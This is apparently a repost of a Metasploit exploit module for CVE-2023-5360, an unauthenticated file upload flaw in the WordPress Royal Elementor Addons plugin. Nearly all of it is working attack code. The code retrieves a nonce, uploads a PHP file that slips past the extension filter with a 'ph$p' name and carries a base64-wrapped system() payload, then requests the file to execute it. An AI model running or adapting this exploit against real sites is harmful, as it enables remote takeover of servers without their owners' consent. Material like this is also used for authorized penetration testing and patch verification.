Share
## https://sploitus.com/exploit?id=1337DAY-ID-39171
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Royal Elementor Addons RCE',
        'Description' => %q{
          Exploit for the unauthenticated file upload vulnerability in WordPress Royal Elementor Addons and Templates plugin (< 1.3.79).
        },
        'Author' => [
          'Fioravante Souza', # Vulnerability discovery
          'Valentin Lobstein' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-5360'],
          ['URL', 'https://vulners.com/nuclei/NUCLEI:CVE-2023-5360'],
          ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
        ],
        'Platform' => ['unix', 'linux', 'win', 'php'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2023-11-23',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
  )
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("WordPress Version: #{wp_version}") if wp_version

    check_code = check_plugin_version_from_readme('royal-elementor-addons', '1.3.79')

    if check_code.code != 'appears'
      return CheckCode::Safe
    end

    plugin_version = check_code.details[:version]
    print_good("Detected Royal Elementor Addons version: #{plugin_version}")
    return CheckCode::Appears
  end

  def exploit
    print_status('Attempting to retrieve nonce...')
    nonce = retrieve_nonce

    print_status('Sending payload')
    uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')

    data = {
      'action' => 'wpr_addons_upload_file',
      'max_file_size' => rand(10001),
      'allowed_file_types' => 'ph$p',
      'triggering_event' => 'click',
      'wpr_addons_nonce' => nonce
    }

    file_content = '<?php '
    file_content << (payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));")
    file_content << '?>'

    file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.ph$p"

    post_data = Rex::MIME::Message.new
    post_data.add_part(file_content, 'application/octet-stream', nil, "form-data; name=\"uploaded_file\"; filename=\"#{file_name}\"")
    data.each_pair do |key, value|
      post_data.add_part(value.to_s, nil, nil, "form-data; name=\"#{key}\"")
    end

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    })

    unless res
      fail_with(Failure::Unreachable, 'No response received from the target')
    end

    if res.code == 200 && res.body.include?('success')
      print_good('Payload uploaded successfully')
      response_data = JSON.parse(res.body)
      if response_data.key?('data') && response_data['data'].key?('url')
        file_url = response_data['data']['url']
        print_status('Triggering the payload')
        send_request_cgi({
          'uri' => file_url,
          'method' => 'GET'
        })

      else
        fail_with(Failure::UnexpectedReply, 'Payload uploaded but no URL returned in the response')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
    end
  end

  def retrieve_nonce
    res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'method' => 'GET')

    fail_with(Failure::Unreachable, 'No response received from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code from the target: #{res.code}") if res.code != 200

    match = res.body.match(/var\s+WprConfig\s*=\s*({.+?});/)
    fail_with(Failure::NoTarget, 'Nonce not found in the response. Is Royal Elementor Addons activated AND being used by the WordPress site being targeted?') if match.nil? || match[1].nil?

    nonce = JSON.parse(match[1])['nonce']
    fail_with(Failure::NoTarget, 'Parsed a response, but the nonce value is missing') if nonce.nil?

    print_good("Nonce found in response: #{nonce.inspect}")
    nonce
  end
end